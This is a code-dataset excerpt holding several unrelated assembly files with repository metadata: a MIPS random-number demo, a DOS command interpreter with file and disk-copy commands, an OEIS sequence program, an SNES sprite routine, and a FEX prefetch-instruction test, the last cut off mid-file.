hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
be8e57691376880ec46c43da1add80a7093a2a65
1,564
asm
Assembly
source/code/scratch/old_repos/edinboro/CSCI-312/random.asm
luxe/CodeLang-compiler
78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a
[ "MIT" ]
33
2019-05-30T07:43:32.000Z
2021-12-30T13:12:32.000Z
source/code/scratch/old_repos/edinboro/CSCI-312/random.asm
luxe/CodeLang-compiler
78837d90bdd09c4b5aabbf0586a5d8f8f0c1e76a
[ "MIT" ]
371
2019-05-16T15:23:50.000Z
2021-09-04T15:45:27.000Z
source/code/scratch/old_repos/edinboro/CSCI-312/random.asm
UniLang/compiler
c338ee92994600af801033a37dfb2f1a0c9ca897
[ "MIT" ]
6
2019-08-22T17:37:36.000Z
2020-11-07T07:15:32.000Z
# Trevor Hickey # Prof. Bennett # CSCI 312 Spring 2012 # 03/02/2012 # Code was written in MARS 4.2 # Program Description: # This program gets a random number between 0 and 100 .data message: .asciiz "Requesting Random Number From The Matrix...\n" message2: .asciiz "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nYour Random Number Is: " newline: .asciiz "\n" spaces: .asciiz " " .text .globl main main: #Print Message la $a0, message li $v0, 4 syscall #Wait li $a0, 2000 li $v0, 32 syscall #Be Annoying li $a0, 80 li $a1, 2000 li $a2, 50 li $a3, 127 li $v0, 31 syscall add $t0, $zero, $zero LOOP1: add $t1, $zero, $zero LOOP2: add $t2, $zero, $zero LOOP3: #Get Random Number Between 0 - 100 li $a1, 9 #Upper bound li $v0, 42 syscall #Print Random Number To The Screen li $v0, 1 syscall #Restart Loop addi $t2, $t2, 1 slti $t7, $t2, 5 bne $t7, $zero, LOOP3 #Add Spaces la $a0, spaces li $v0, 4 syscall #Restart Loop addi $t1, $t1, 1 slti $t7, $t1, 5 bne $t7, $zero, LOOP2 #Add Newline la $a0, newline li $v0, 4 syscall #Wait li $a0, 10 li $v0, 32 syscall #Restart Loop addi $t0, $t0, 1 slti $t7, $t0, 200 bne $t7, $zero, LOOP1 #Print Message la $a0, message2 li $v0, 4 syscall #Get Random Number Between 0 - 100 li $a1, 100 #Upper bound li $v0, 42 syscall #Print Random Number To The Screen li $v0, 1 syscall #Print Newline la $a0, newline li $v0, 4 syscall #Exit Safely li $v0, 10 syscall
14.348624
95
0.607417
ba81bdb3af1f764d5ab59d49d0b301b1a4ef82b8
25,786
asm
Assembly
tests/tcmdp-0002.asm
mras0/sasm
342f57570e79b2aa1c42a9064aaea4d198577be2
[ "MIT" ]
26
2019-08-13T19:54:42.000Z
2022-03-11T16:58:31.000Z
tests/tcmdp-0002.asm
mras0/sasm
342f57570e79b2aa1c42a9064aaea4d198577be2
[ "MIT" ]
null
null
null
tests/tcmdp-0002.asm
mras0/sasm
342f57570e79b2aa1c42a9064aaea4d198577be2
[ "MIT" ]
2
2019-08-20T10:23:56.000Z
2020-09-24T20:08:00.000Z
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; CMDP.COM - Very limited command processor for ;; ;; bootstrapping SASM. ;; ;; ;; ;; Copyright 2019 Michael Rasmussen ;; ;; See LICENSE.md for details ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; cpu 8086 org 0x100 BUFFER_SIZE EQU 512 STACK_SIZE EQU 512 CMDLINE_MAX EQU 0x7F ; Including terminating CR ; Offsets into FindFile structure FF_FATTR equ 0x15 ; BYTE File attribute FF_FTIME equ 0x16 ; WORD File time FF_FDATE equ 0x18 ; WORD File date FF_FSIZE equ 0x1A ; DWORD File size FF_FNAME equ 0x1E ; BYTE[13] File name and extension (ASCIIZ with dot) Main: ; Clear BSS mov di, BssStart mov cx, ProgramEnd sub cx, di xor al, al rep movsb ; Free unused memory cli mov bx, ProgramEnd add bx, 15 and bx, 0xFFF0 add bx, STACK_SIZE mov sp, bx mov cl, 4 shr bx, cl mov ax, ds add bx, ax mov [FirstFreeSeg], bx sti ; Free remaining memory mov ah, 0x4a int 0x21 jc GenericError ; ; Run autoexec.bat if it exists ; mov dx, Autoexec mov ax, 0x3d00 int 0x21 jc .CmdLoop call RunCommandFile .CmdLoop: call PutCrLf mov dx, MsgPrompt mov ah, 9 int 0x21 call GetCommandLine call CommandDispatch jmp .CmdLoop ; Run command file in AX ; Returns carry clear on success ; carry set on error and error code in AX RunCommandFile: mov bx, ax .LineLoop: mov si, CL_Buffer .CharLoop: mov cx, 1 mov ah, 0x3f mov dx, si int 0x21 jnc .ReadOK push ax mov ah, 0x3e int 0x21 pop ax stc ret .ReadOK: and ax, ax jz .Done lodsb cmp al, 0x0D je .Execute mov ax, si sub ax, CL_Buffer cmp ax, CMDLINE_MAX jb .CharLoop mov byte [si-1], 0x0D .Execute: call CommandDispatch jmp .LineLoop .Done: mov byte [si], 0x0D call CommandDispatch ; Execute what's in the buffer mov ah, 0x3e int 0x21 ret GenericError: mov dx, MsgErrGeneric ; Fall through ; Exit with error message in DX Error: mov ah, 0x09 int 0x21 mov al, 13 call PutChar mov al, 10 call PutChar mov ax, 0x4cff int 0x21 ; Put character in AL PutChar: push ax push dx mov dl, al mov ah, 2 int 0x21 pop dx pop ax ret PutCrLf: mov al, 13 call PutChar mov al, 10 call PutChar ret ; Print word in AX PutHexWord: push ax mov al, ah call PutHexByte pop ax PutHexByte: push ax shr al, 1 shr al, 1 shr al, 1 shr al, 1 call PutHexDigit pop ax PutHexDigit: and al, 0x0f add al, '0' cmp al, '9' jbe PutChar add al, 7 jmp PutChar ; Dump CX bytes from DS:SI HexDump: mov bx, cx cmp bx, 16 jbe .P mov bx, 16 .P: sub cx, bx mov dx, bx xor bx, bx .H: mov al, [si+bx] call PutHexByte mov al, ' ' call PutChar inc bl cmp bl, dl jne .H .S: cmp bl, 16 je .Cs mov al, ' ' call PutChar call PutChar call PutChar inc bl jmp .S .Cs: xor bx, bx .C: mov al, [si+bx] cmp al, ' ' jb .Rep cmp al, 0x7f ja .Rep jmp short .Print .Rep: mov al, '.' .Print: call PutChar inc bl cmp bl, dl jne .C add si, dx and cx, cx jz .Done call PutCrLf jmp HexDump .Done: ret ; Print 9 digit decimal number in DX:AX (space padded) PutDec9: push ds push bp mov bx, 10 mov bp, sp sub sp, 10 dec bp mov byte [bp], '$' .Cvt: push ax mov ax, dx xor dx, dx div bx mov cx, ax pop ax div bx xchg cx, dx push ax mov al, cl add al, '0' dec bp mov [bp], al pop ax mov cx, dx or cx, ax jnz .Cvt mov al, ' ' .Pad: cmp bp, sp je .Print dec bp mov [bp], al jmp .Pad .Print: mov bx, ss mov ds, bx mov dx, bp mov ah, 0x09 int 0x21 add sp, 10 pop bp pop ds ret GetCommandLine: mov bx, CL_BufferInfo xor ah, ah mov al, CMDLINE_MAX mov [bx], ax mov dx, bx mov ah, 0x0a int 0x21 call PutCrLf ret OpenInput: ; Open input file for reading mov dx, InFileName mov ax, 0x3d00 int 0x21 jc .Ret mov [InputFile], ax .Ret: ret OpenOutput: mov dx, OutFileName mov cx, 0x0020 ; Attributes mov ah, 0x3c int 0x21 jc .Ret mov [OutputFile], ax .Ret: ret CloseInput: mov bx, [InputFile] jmp short CloseFile CloseOutput: mov bx, [OutputFile] jmp short CloseFile CloseFile: mov ah, 0x3e int 0x21 jnc .OK jmp GenericError .OK: ret ; Read from InputFile. Returns number of bytes read in AX ReadToBuffer: mov cx, BUFFER_SIZE ; Fall through ReadToBufferN: ; Read CX bytes mov ah, 0x3f mov bx, [InputFile] mov dx, Buffer int 0x21 jc .ReadError ; Return number of bytes read in AX ret .ReadError: mov dx, MsgErrRead jmp Error ; Write CX bytes from buffer to OutputFile WriteFromBuffer: mov ah, 0x40 mov bx, [OutputFile] mov dx, Buffer int 0x21 jc .WriteError ret .WriteError: mov dx, MsgErrWrite jmp Error CommandDispatch: push ax push bx push cx push dx push si push di push bp push ds push es call .RealCD pop es pop ds pop bp pop di pop si pop dx pop cx pop bx pop ax ret .RealCD: mov [CmdOldSp], sp ; Save SP at entry (to allow easy exit) mov si, CL_Buffer .SkipSpace: lodsb cmp al, 0x0D jne .NotEmpty jmp .Ret ; Empty line .NotEmpty: cmp al, ' ' jbe .SkipSpace dec si ; unget non-space character ; Copy command name to InFileName up till possible extension mov di, cs mov es, di mov di, InFileName mov cl, 8 ; Don't overflow comand .CopyCommand: lodsb cmp al, '0' ; Characters less than 0x30 cannot be part of legal filename jb .CmdDone ; In particular this will stop on '.', '/' and CR call CToUpper stosb dec cl jnz .CopyCommand inc si ; undo 'unget' (we actually consumed the character) .CmdDone: dec si ; unget mov byte [es:di], 0 ; NUL-terminate ; SI points at CommandLine after command (possibly at '.' before extension) ; DI points at InFileName at NUL terminator (at most 9 bytes in) mov bx, InFileName cmp word [bx], 'CO' jne .NotCopy cmp word [bx+2], 'PY' jne .NotInt cmp byte [bx+4], 0 jne .NotInt jmp CmdCopy .NotCopy: cmp word [bx], 'DE' jne .NotDel cmp word [bx+2], 'L' jne .NotInt jmp CmdDel .NotInt: jmp .NotInternal .NotDel: cmp word [bx], 'DI' jne .NotDi cmp word [bx+2], 'R' jne .NotDir jmp CmdDir .NotDir: cmp word [bx+2], 'SK' jne .NotInt cmp word [bx+4], 'CO' jne .NotInt cmp word [bx+6], 'PY' jne .NotInt cmp byte [bx+8], 0 jne .NotInt jmp CmdDiskCopy .NotDi: cmp word [bx], 'EC' jne .NotEcho cmp word [bx+2], 'HO' jne .NotInternal cmp byte [bx+4], 0 jne .NotInternal jmp CmdEcho .NotEcho: cmp word [bx], 'EX' jne .NotExit cmp word [bx+2], 'IT' jne .NotInternal cmp byte [bx+4], 0 jne .NotInternal jmp CmdExit .NotExit: cmp word [bx], 'HD' jne .NotHd cmp byte [bx+2], 0 jne .NotInternal jmp CmdHd .NotHd: cmp word [bx], 'PA' jne .NotPause cmp word [bx+2], 'US' jne .NotInternal cmp word [bx+4], 'E' jne .NotInternal call CWaitKey jmp PutCrLf .NotPause: cmp word [bx], 'RE' jne .NotRe cmp word [bx+2], 'N' jne .NotRen jmp CmdRen .NotRen: cmp word [bx+2], 'M' jne .NotInternal jmp CmdRem .NotRe: cmp word [bx], 'TY' jne .NotType cmp word [bx+2], 'PE' jne .NotInternal cmp byte [bx+4], 0 jne .NotInternal jmp CmdType .NotType: .NotInternal: ; Copy extension (if present) cmp byte [si], '.' jne .AppendExt mov cl, 4 .CopyExt: lodsb cmp al, ' ' jbe .ExtCopyDone call CToUpper stosb dec cl jnz .CopyExt inc si ; undo 'unget' (we actually consumed the character) .ExtCopyDone: dec si jmp short .AppendNUL .AppendExt: ; Try batchfile with the name push di mov ax, '.B' stosw mov ax, 'AT' stosw xor al, al pop di mov dx, InFileName mov ax, 0x3d00 int 0x21 jc .NotBat jmp RunCommandFile .NotBat: mov ax, '.C' stosw mov ax, 'OM' stosw .AppendNUL: xor al, al stosb ; Figure out argument length xor bx, bx mov al, 0x0D .FindLen: cmp [bx+si], al je .RTrim inc bx cmp bl, 0x7E jbe .FindLen ; Don't go too long .RTrim: ; Remove spaces just before the CR and bx, bx jz .CmdLineDone cmp byte [si+bx-1], ' ' ja .CmdLineDone dec bx jmp .RTrim .CmdLineDone: mov byte [si+bx], 0x0D ; Ensure CR terminated even if trimmed ; The command line is length prefixed ; and the count doesn't include the 0x0D dec si mov [si], bl ; TODO: Check file extension.... ; Run Program mov word [PB_ArgPtr], si mov ax, ds mov es, ax mov [PB_ArgPtr+2], ax mov ax, 0x4b00 ; Load and execute mov dx, InFileName ; DS:DX -> program name mov bx, ParameterBlock ; ES:BX -> parameter block int 0x21 jnc .Ret mov si, InFileName .BCP: lodsb and al, al jz .BCPD call PutChar jmp .BCP .BCPD: call PutCrLf mov dx, MsgErrBadCommand mov ah, 0x09 int 0x21 call PutCrLf .Ret: ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Internal Commands ;; ;; Called with SI pointing at the command line after the command name ;; (possibly at a '.') ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Upper case AL CToUpper: cmp al, 'a' jb .Ret cmp al, 'z' ja .Ret and al, 0xDF ; to upper case .Ret: ret ; Skip spaces, returns next character in AL CSkipSpaces: cmp al, ' ' jne .Done lodsb jmp CSkipSpaces .Done: ret ; Copy filename and zero terminate string in ES:DI from SI ; Next character returned in AL CCopyFName: mov cl, 12 .L: cmp al, ' ' jbe .Done stosb lodsb dec cl jnz .L .Done: mov ch, al xor al, al stosb mov al, ch ret ; Print message and wait for keypress. Returns carry set on CTRL+C CWaitKey: mov dx, MsgPressAnyKey mov ah, 9 int 0x21 mov ah, 8 int 0x21 cmp al, 3 jne .NE call PutCrLf stc ret .NE: clc ret COpenInError: mov dx, MsgErrOpenIn jmp short CError COpenOutError: mov dx, MsgErrOpenOut jmp short CError CArgError: mov dx, MsgErrInvArgs ; Fall through ; Display error in DX and longjump to main loop CError: mov ah, 0x09 int 0x21 call PutCrLf mov sp, [CmdOldSp] ret ; Get filename from command line to ES:DI CGetFilename: call CSkipSpaces cmp al, 0x0D je CArgError call CCopyFName ret CCheckCR: call CSkipSpaces cmp al, 0x0D jne CArgError ret CGetIn: mov di, cs mov es, di lodsb mov di, InFileName jmp CGetFilename CGetInOut: call CGetIn mov di, OutFileName call CGetFilename jmp CCheckCR CmdCopy: call CGetInOut call OpenInput jc COpenInError call OpenOutput jnc .Loop call CloseInput jmp COpenOutError .Loop: call ReadToBuffer and ax, ax jz .Done mov cx, ax call WriteFromBuffer jmp .Loop .Done: call CloseOutput call CloseInput ret CmdDel: call CGetIn mov dx, InFileName mov ah, 0x41 int 0x21 mov dx, MsgErrDelete jc CError ret CmdDir: mov di, cs mov es, di ; Fill pattern into InFileName mov di, InFileName lodsb call CSkipSpaces ; No pattern means '*.*' cmp al, 0x0D jne .NotEmpty mov ax, '*.' stosw mov ax, '*' stosw jmp short .Main .NotEmpty: ; '.EXT' means '*.EXT' cmp al, '.' jne .CopyPattern mov ax, '*.' stosw lodsb ; Consumed '.' .CopyPattern: cmp di, InFileNameEnd je .CopyDone cmp al, ' ' jbe .CopyDone stosb lodsb jmp .CopyPattern .CopyDone: xor al, al stosb .Main: ; Int21/AH=1Ah Set disk transfer area address ; DS:DX points to DTA mov ah, 0x1a mov dx, 0x80 int 0x21 ; di:bp contains total number of bytes xor di, di xor bp, bp mov ah, 0x4e xor cx, cx mov dx, InFileName int 0x21 jc .Done .Find: mov si, 0x80 ; DTA defaults to PSP:80h, Offset of filename is 0x1E add si, FF_FNAME mov cl, 12 .Print: lodsb and al, al jz .Pad call PutChar dec cl jnz .Print .Pad: and cl, cl jz .PadDone mov al, ' ' call PutChar dec cl jmp .Pad .PadDone: mov si, 0x80 mov ax, [si+FF_FSIZE] mov dx, [si+FF_FSIZE+2] add bp, ax adc di, dx call PutDec9 call PutCrLf ; Find next mov ah, 0x4F int 0x21 jnc .Find .Done: mov ax, bp mov dx, di call PutDec9 mov dx, MsgBytesTotal mov ah, 9 int 0x21 ; ; Print free disk space ; ; Get disk mov ah, 0x19 int 0x21 ; Get free disk space mov dl, al mov ah, 0x36 int 0x21 cmp ax, 0xffff ; Invalid drive/unable to get info jne .PrintDiskSpace ret .PrintDiskSpace: xor dx, dx mul bx mul cx call PutDec9 mov dx, MsgBytesFree mov ah, 9 int 0x21 ret CmdEcho: lodsb cmp al, '.' je .Next cmp al, ' ' je .Next .Loop: cmp al, 0x0D je .Done call PutChar .Next: lodsb jmp .Loop .Done: call PutCrLf ret ; Offset from Buffer (containing boot sector) NUM_SECTORS equ 0x13 SEC_PER_FAT equ 0x16 SEC_PER_TRACK equ 0x18 NUM_HEADS equ 0x1a CmdDiskCopy: ; ; Figure out current drive ; mov ah, 0x19 int 0x21 ; Too dangerous to allow other drives than 0 for now... cmp al, 0 je .DriveOK mov dx, MsgErrDrive jmp CError .DriveOK: ; ; Read boot sector to Buffer ; xor dh, dh mov dl, al push ds pop es mov bx, Buffer mov cx, 1 mov ax, 0x0201 int 0x13 jnc .ReadBootOK call PutHexWord mov al, ' ' call PutChar mov dx, MsgErrDiskRead jmp CError .ReadBootOK: mov di, [FirstFreeSeg] add di, 0x001f and di, 0xffe0 mov si, [2] and si, 0xffe0 sub si, di shr si, 1 shr si, 1 shr si, 1 shr si, 1 shr si, 1 ; DI: Start segment ; SI: Number of sectors that can be stored ; BX: Remaining sectors ; CX/DX: Current CHS and drive mov bx, [Buffer+NUM_SECTORS] .CopyLoop: mov ax, bx cmp ax, si jbe .Read mov ax, si .Read: ; AX: Number of sectors to copy this time round mov bp, .DoRead call .DiskCmd stc call .DiskChange mov bp, .DoWrite call .DiskCmd clc call .DiskChange call .AddSectors sub bx, ax jnz .CopyLoop ret .DiskCmd: ; Call BP for AX sectors push ax push bx push cx push dx push si push di push bp .SectorLoop: ; How many sectors can we read w/o crossing 64K boundary? mov bx, 0x1000 mov si, di and si, 0x0fff sub bx, si shr bx, 1 shr bx, 1 shr bx, 1 shr bx, 1 shr bx, 1 cmp bx, ax jbe .CntOK mov bx, ax .CntOK: %if 1 mov bx, 1 %else ; Limit to a track (only later BIOSes) cmp bx, [Buffer+SEC_PER_TRACK] jbe .CntOK2 mov bx, [Buffer+SEC_PER_TRACK] .CntOK2: %endif push ax push bx push cx push dx push si push di push bp call bp pop bp pop di pop si pop dx pop cx pop bx pop ax push ax mov ax, bx call .AddSectors pop ax sub ax, bx jz .Done shl bx, 1 shl bx, 1 shl bx, 1 shl bx, 1 shl bx, 1 add di, bx jmp .SectorLoop .Done: pop bp pop di pop si pop dx pop cx pop bx pop ax ret .AddSectors: ; Add AX sectors to CHS in CX/DX ; CH=cyl, DH=head, CL=sec push ax push bx push si push di mov si, dx xor dx, dx mov di, [Buffer+SEC_PER_TRACK] dec al add al, cl adc ah, 0 div di ; DL = sector count ; AX = head count mov cl, dl inc cl mov dx, si add al, dh adc ah, 0 add di, ax xor dx, dx mov di, [Buffer+NUM_HEADS] div di ; DL = head count ; AX = cylinder count add ch, al mov ax, si mov dh, dl mov dl, al pop di pop si pop bx pop ax ret .DoWrite: mov si, MsgErrDiskWrite mov ah, 0x03 jmp short .RWCommon .DoRead: mov si, MsgErrDiskRead mov ah, 0x02 ; Fall through .RWCommon: mov al, bl mov es, di xor bx, bx int 0x13 jnc .RWOK push dx push cx call PutHexWord mov al, ' ' call PutChar pop ax call PutHexWord mov al, ' ' call PutChar pop ax call PutHexWord mov al, ' ' call PutChar mov dx, si jmp CError .RWOK: ret .DiskChange: push ax push bx push cx push dx mov dx, .MsgInsertSrc jnc .PDC mov dx, .MsgInsertDst .PDC: mov ah, 9 int 0x21 call CWaitKey call PutCrLf pop dx pop cx pop bx pop ax ret .MsgInsertSrc: db 'Insert source disk $' .MsgInsertDst: db 'Insert destination disk $' CmdExit: mov dx, MsgExiting mov ah, 9 int 0x21 call PutCrLf mov ax, 0x4c00 int 0x21 HD_MAX_BYTES equ 24*16 ; 24 lines of hex and one for the message CmdHd: call CGetIn call OpenInput jnc .L jmp COpenInError .L: mov cx, HD_MAX_BYTES call ReadToBufferN and ax, ax jz .Done push ax mov cx, ax mov si, Buffer call HexDump pop ax cmp ax, HD_MAX_BYTES jne .Done call PutCrLf call CWaitKey jc .Done mov dl, 0x0D mov ah, 2 int 0x21 jmp .L .Done: call CloseInput ret CmdRen: call CGetInOut mov dx, InFileName mov di, OutFileName mov ah, 0x56 int 0x21 jnc .OK mov dx, MsgErrRename jmp CError .OK: ret CmdRem: ret CmdType: call CGetIn call OpenInput jnc .HasIn jmp COpenInError .HasIn: xor di, di ; line counter xor bx, bx ; char counter .L: push bx call ReadToBuffer pop bx and ax, ax jz .Done mov cx, ax mov si, Buffer .P: lodsb call PutChar cmp al, 10 jne .NotLF .NewLine: xor bx, bx inc di cmp di, 24 jne .NextChar xor di, di push bx call CWaitKey pushf mov dl, 0x0D mov ah, 2 int 0x21 popf pop bx jc .Done jmp short .NextChar .NotLF: inc bx cmp bx, 80 je .NewLine .NextChar: dec cx jnz .P jmp .L .Done: call CloseInput ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MsgErrGeneric: db 'Generic error message$' MsgErrOpenIn: db 'Could not open input file$' MsgErrOpenOut: db 'Could not open output file$' MsgErrRead: db 'Error reading from file$' MsgErrWrite: db 'Error writing to file$' MsgErrBadCommand: db 'Unknown command$' MsgErrInvArgs: db 'Invalid argument(s)$' MsgExiting: db 'Command interpreter exiting$' MsgErrDelete: db 'Could not delete file$' MsgErrRename: db 'Could not rename file$' MsgErrDrive: db 'Sorry DISKCOPY will only try to work with drive 0 for now$' MsgErrDiskRead: db 'Error reading from disk$' MsgErrDiskWrite: db 'Error writing to disk$' MsgPrompt: db '# $' MsgPressAnyKey: db 'Press any key$' MsgBytesTotal: db ' bytes total', 13, 10, '$' MsgBytesFree: db ' bytes free', 13, 10, '$' Autoexec: db 'AUTOEXEC.BAT', 0 BssStart: InputFile: resw 1 OutputFile: resw 1 ParameterBlock: resw 1 ; Segment of environment to copy (0 = use caller's) PB_ArgPtr: resw 2 ; Pointer to arguments resw 2 ; Pointer to first FCB resw 2 ; Pointer second first FCB InFileName: resb 12 InFileNameEnd: resb 1 OutFileName: resb 13 FirstFreeSeg: resw 1 CmdOldSp: resw 1 ; SP on entry to CommandDispatch ; Command line CL_BufferInfo: resb 2 ; For use with Int 21/AH=0Ah (must precede CL_Buffer) CL_Buffer: resb CMDLINE_MAX Buffer: resb BUFFER_SIZE ; Keep at end ProgramEnd:
21.084219
84
0.464438
ba5883fc01dc5874f761ecb847293095467ddf5b
696
asm
Assembly
oeis/048/A048923.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/048/A048923.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/048/A048923.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A048923: Indices of octagonal numbers which are also 9-gonal. ; Submitted by Christian Krause ; 1,459,309141,208360351,140434567209,94652689938291,63795772583840701,42998256068818693959,28980760794611215887441,19532989777311890689441051,13165206129147419713467380709,8873329398055583574986325156591,5980610849083334182121069688161401,4030922838952769183166025983495627459,2716836012843317346119719391806364745741,1831143441733556938515507704051506343001751,1234187962892404533242106072811323468818434209,831840855846038921848240977567127966477281654891 mul $0,2 mov $3,1 lpb $0 sub $0,$3 add $4,2 mov $1,$4 mul $1,24 add $2,$1 add $4,$3 add $4,$2 lpe mov $0,$4 div $0,3 add $0,1
36.631579
458
0.837644
83314649c551e814a524d8b6bc0985b93611b92b
1,259
asm
Assembly
routines/OverworldGetDrawInfoPriority.asm
Atari2/WhiteSnake
a69b56bbf4389b25b193b1fa8813ac8c5d393677
[ "MIT" ]
null
null
null
routines/OverworldGetDrawInfoPriority.asm
Atari2/WhiteSnake
a69b56bbf4389b25b193b1fa8813ac8c5d393677
[ "MIT" ]
1
2020-06-27T09:12:40.000Z
2020-07-03T23:21:26.000Z
routines/OverworldGetDrawInfoPriority.asm
Atari2/WhiteSnake
a69b56bbf4389b25b193b1fa8813ac8c5d393677
[ "MIT" ]
null
null
null
; A: tiles to draw -1 ; -> ; Y BECOMES 16 BIT REGARDLESS: oam index to use ; $00: x pos, screen relative ; $02: y pos, screen relative ; $04: mangled ; $06: mangled ; $08: mangled ; carry set: off screen REP #$10 LDY.w !ow_sprite_oam_p ASL #2 STA $04 STZ $06 ; %OverworldOffScreen() BCS .offscreen SEP #$20 ; dude spaghetti L M A O .oam_loop CPY #!oam_limit BCC + .loop_back LDY #!oam_start LDA $06 ; don't loop back forever BNE .good INC $06 + LDA.w $0201|!Base2,y CMP #$F0 BEQ .check_tile_amount ; see if there are enough free tiles .oam_next INY #4 BRA .oam_loop .check_tile_amount REP #$21 ; calc ideal end index TYA ADC $04 STA $08 SEP #$20 .tile_amount_loop CPY $08 BEQ .good INY #4 CPY #!oam_limit BCS .loop_back LDA.w $0201|!Base2,y CMP #$F0 BEQ .tile_amount_loop BRA .oam_next .good REP #$21 TYA ADC #$0004 STA !ow_sprite_oam_p ; CLC RTL .offscreen SEP #$11 RTL
19.075758
76
0.488483
0f442f5d5563da8e454ee46f88fe2c340a21ddda
2,994
asm
Assembly
unittests/ASM/Secondary/Prefetch.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
628
2020-03-06T14:01:32.000Z
2022-03-31T06:35:14.000Z
unittests/ASM/Secondary/Prefetch.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
576
2020-03-06T08:25:12.000Z
2022-03-30T04:05:29.000Z
unittests/ASM/Secondary/Prefetch.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
38
2020-03-07T06:10:00.000Z
2022-03-29T09:27:36.000Z
%ifdef CONFIG { } %endif ; Arg 1 = type ; Arg 2 = Reg %macro prefetch 2 prefetch%1 [%2] %endmacro ; Arg1 = prefix ; Arg2 = Reg %macro prefetch_pre 2 db %1 prefetch nta, %2 db %1 prefetch t0, %2 db %1 prefetch t1, %2 db %1 prefetch t2, %2 %endmacro ; Arg 1 = modrm encoding ; Always uses rax %macro prefetch_res 1 db 0x0F db 0x18 db %1 %endmacro ; Arg 1 = prefix ; Arg 2 = modrm encoding %macro prefetch_res_pre 2 db %1 prefetch_res %2 %endmacro ; Arg 1 = modrm encoding ; Always uses rax %macro prefetch_resw 1 db 0x0F db 0x0D db %1 %endmacro ; Arg 1 = prefix ; Arg 2 = modrm encoding %macro prefetch_resw_pre 2 db %1 prefetch_resw %2 %endmacro mov rax, 0xe0000000 prefetch nta, rax prefetch t0, rax prefetch t1, rax prefetch t2, rax prefetch_pre 0x66, rax prefetch_pre 0x66, rax prefetch_pre 0x66, rax prefetch_pre 0x66, rax prefetch_pre 0xF2, rax prefetch_pre 0xF2, rax prefetch_pre 0xF2, rax prefetch_pre 0xF2, rax prefetch_pre 0xF3, rax prefetch_pre 0xF3, rax prefetch_pre 0xF3, rax prefetch_pre 0xF3, rax prefetch_res (0 << 3) prefetch_res (1 << 3) prefetch_res (2 << 3) prefetch_res (3 << 3) prefetch_res (4 << 3) prefetch_res (5 << 3) prefetch_res (6 << 3) prefetch_res (7 << 3) prefetch_res_pre 0x66, (0 << 3) prefetch_res_pre 0x66, (1 << 3) prefetch_res_pre 0x66, (2 << 3) prefetch_res_pre 0x66, (3 << 3) prefetch_res_pre 0x66, (4 << 3) prefetch_res_pre 0x66, (5 << 3) prefetch_res_pre 0x66, (6 << 3) prefetch_res_pre 0x66, (7 << 3) prefetch_res_pre 0xF2, (0 << 3) prefetch_res_pre 0xF2, (1 << 3) prefetch_res_pre 0xF2, (2 << 3) prefetch_res_pre 0xF2, (3 << 3) prefetch_res_pre 0xF2, (4 << 3) prefetch_res_pre 0xF2, (5 << 3) prefetch_res_pre 0xF2, (6 << 3) prefetch_res_pre 0xF2, (7 << 3) prefetch_res_pre 0xF3, (0 << 3) prefetch_res_pre 0xF3, (1 << 3) prefetch_res_pre 0xF3, (2 << 3) prefetch_res_pre 0xF3, (3 << 3) prefetch_res_pre 0xF3, (4 << 3) prefetch_res_pre 0xF3, (5 << 3) prefetch_res_pre 0xF3, (6 << 3) prefetch_res_pre 0xF3, (7 << 3) prefetch_resw (0 << 3) prefetch_resw (1 << 3) prefetch_resw (2 << 3) prefetch_resw (3 << 3) prefetch_resw (4 << 3) prefetch_resw (5 << 3) prefetch_resw (6 << 3) prefetch_resw (7 << 3) prefetch_resw_pre 0x66, (0 << 3) prefetch_resw_pre 0x66, (1 << 3) prefetch_resw_pre 0x66, (2 << 3) prefetch_resw_pre 0x66, (3 << 3) prefetch_resw_pre 0x66, (4 << 3) prefetch_resw_pre 0x66, (5 << 3) prefetch_resw_pre 0x66, (6 << 3) prefetch_resw_pre 0x66, (7 << 3) prefetch_resw_pre 0xF2, (0 << 3) prefetch_resw_pre 0xF2, (1 